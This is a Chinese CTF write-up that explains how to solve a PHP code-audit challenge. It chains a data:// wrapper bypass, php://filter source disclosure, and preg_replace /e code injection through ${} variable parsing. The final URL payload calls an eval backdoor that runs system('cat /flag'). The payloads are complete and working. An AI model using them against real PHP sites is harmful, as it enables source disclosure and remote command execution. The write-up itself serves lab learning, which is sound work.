打开容器,进行代码审计
传入text和file参数,第一个可以用data伪协议绕过,然后接下来是一个文件包含,可以用php协议读取数据。
无法直接打开提示的next.php,所以用php协议读一下。
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
读出的源码如下
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}
1.可以知道preg_replace的/e模式下有代码执行漏洞
2. \1表示取出正则匹配后的第一个子匹配中的第一项,
foreach可以看出,我们穿进去的参数变成正则,参数值变成字符串。
3.因此要第一个匹配是我们想要执行的东西,如果想执行phpinfo(),就可以用\S%2b来匹配。(\S2%2b,可就是\S2+,表 示匹配任意字符串)
4,在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理。${$a}和$$a是一样的意思,只不过在一些特定的场合要使用前面这种表示方法。.png)
要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下$$a[1] 时,解析器需要知道是想要$a[1] 作为一个变量呢,还是想要$$a作为一个变量并取出该变量中索引为[1] 的值。解决此问题的语法是,对第一种情况用${$a[1]} ,对第二种情况用${$a}[1] 。
本地测试
直接传\S%2b=phpinfo()是没用的,但是如果是${phpinfo()},那么("\1")是包裹在双引号里的,就会当做变量先解析一次
没问题
那么接下来我们就可以引用getFlag函数,然后传参cmd来进行命令执行了
next.php?\S%2b=${getFlag()}&cmd=system('cat /flag');